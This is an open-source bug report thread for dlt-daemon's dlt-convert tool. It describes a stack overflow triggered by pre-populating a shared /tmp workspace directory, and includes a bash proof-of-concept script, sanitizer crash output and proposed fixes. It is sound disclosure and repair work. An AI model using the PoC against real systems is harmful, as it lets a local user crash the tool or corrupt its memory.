[BUG] stack-overflow in `dlt-convert.c`

[ShangzhiXu]

Hi team, I found another small issue here in dlt-convert.c

The code in main function extends argc based on the number of files in /tmp/dlt_convert_workspace/ at line 400

argc = optind + (n - 2);

However, /tmp is a system-wide shared directory. If a malicious user creates /tmp/dlt_convert_workspace/ before dlt-convert is executed, the code will skip directory creation at line ~352, and the contents of /tmp/dlt_convert_workspace/ become fully attacker-controlled.

If the attacker places a large number of files in that directory, n becomes large and argc is increased accordingly.
However, the size of argv remains unchanged.

Later, the following loop iterates up to the new, inflated argc value:

    for (index = optind; index < argc; index++) { // argc is larger than original_argc
            ...
            argv[index] = tmp_filename;  // CRASH, the size of argv is equal to original_argc
        }

Leading to the crash.

PoC

We can create a tar file with

mkdir -p /tmp/dlt_convert_workspace/
for i in {1..20}; do touch "/tmp/dlt_convert_workspace/f_$i"; done  // what malicious user can do
touch harmless.dlt
tar -cvf trigger.tar harmless.dlt

When we run

./src/console/dlt-convert -t trigger.tar

and we can see

AddressSanitizer:DEADLYSIGNAL
=================================================================
==3027575==ERROR: AddressSanitizer: stack-overflow on address 0x7ffd27524000 (pc 0x5a1de8786623 bp 0x7ffd275224f0 sp 0x7ffd2751f200 T0)
    #0 0x5a1de8786623 in main /mnt/data3/weisong/ACT/fuz/targets/dlt-daemon/src/console/dlt-convert.c:409
    #1 0x7e4693429d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #2 0x7e4693429e3f in __libc_start_main_impl ../csu/libc-start.c:392
    #3 0x5a1de8786f94 in _start (/mnt/data3/weisong/ACT/fuz/targets/dlt-daemon/build-asan/src/console/dlt-convert+0x4f94)

SUMMARY: AddressSanitizer: stack-overflow /mnt/data3/weisong/ACT/fuz/targets/dlt-daemon/src/console/dlt-convert.c:409 in main
==3027575==ABORTING

FIX

The memory allocated for argv by the OS is fixed and cannot be extended. Writing beyond argv[original_argc] corrupts the stack. We can allocate a dynamic array (e.g., char **file_list) on the heap using malloc to store the list of files to be processed.

If this makes sense, can I submit a pull request to fix it? : )

[minminlittleshrimp]

Hi @ShangzhiXu
Thanks for your report.
However I cannot reproduce the case on my side, can you check again?
I only observe memleak in normal case of conversion:

 dlt-convert -a harmless.dlt 
ERROR: Selected first message 0 is out of range!

=================================================================
==3525736==ERROR: LeakSanitizer: detected memory leaks

Direct leak of 8000 byte(s) in 1 object(s) allocated from:
    #0 0x7fefc3664808 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cc:144
    #1 0x7fefc352642c in dlt_file_read /home/lum3hc/work/github/dlt-daemon/src/shared/dlt_common.c:1542

SUMMARY: AddressSanitizer: 8000 byte(s) leaked in 1 allocation(s).

[minminlittleshrimp]

Hi, it missing dlt_file_free()

diff --git a/src/console/dlt-convert.c b/src/console/dlt-convert.c
index ef573c6..a4c6dc1 100644
--- a/src/console/dlt-convert.c
+++ b/src/console/dlt-convert.c
@@ -432,6 +432,7 @@ int main(int argc, char *argv[])
                     close(ohandle);
                     ohandle = -1;
                 }
+                dlt_file_free(&file, vflag);
                 return -1;
             }
 
@@ -441,6 +442,8 @@ int main(int argc, char *argv[])
                     close(ohandle);
                     ohandle = -1;
                 }
+                dlt_file_free(&file, vflag);
+                return -1;
             }
 
             for (num = begin; num <= end; num++) {

Kindly check and consider if this fix the bug.

[ShangzhiXu]

Thanks for your respons, this memory leak is another bug and I missed it during my earlier review.

Regarding the originally reported stack overflow, it is still reproducible on my side with master version. I prepared a revised PoC script that creates 5000 files under /tmp/dlt_convert_workspace/. The earlier PoC may not trigger the issue on every machine due to the directory containing too few files.

#!/bin/bash

TARGET_DIR="/tmp/dlt_convert_workspace/"

rm -rf "$TARGET_DIR"
rm -f trigger.tar harmless.dlt

mkdir -p "$TARGET_DIR"


echo "[*] Flooding directory with 5000 files..."
for i in {1..5000}; do
    touch "${TARGET_DIR}/overflow_trigger_$i"
done

touch harmless.dlt
tar -cvf trigger.tar harmless.dlt > /dev/null 2>&1


./src/console/dlt-convert -t trigger.tar

Thanks again for your help!

[minminlittleshrimp]

Hi @ShangzhiXu
niceeeee

Can you also provide your fix? We can try and work together :)))

[ShangzhiXu]

yes! Let me try~

[minminlittleshrimp]

I reopen this issue @ShangzhiXu
Feel free to also use WITH_DLT_DEBUGGERS flag I just add in latest commit.
Besides, your profile looks impressive 😍

[ShangzhiXu]

Thank you for reopening the issue and for the kind words.

I’ve submitted a new PR, It builds cleanly with warnings as errors and fixes the bug.

I’m still at an early stage of learning in this area, but I genuinely enjoy working on DLT and related systems. I really appreciate the guidance from you and sincerely hope to continue contributing and collaborating with you all. 😀

Thanks again.

[ShangzhiXu]

And BTW, Merry Christmas!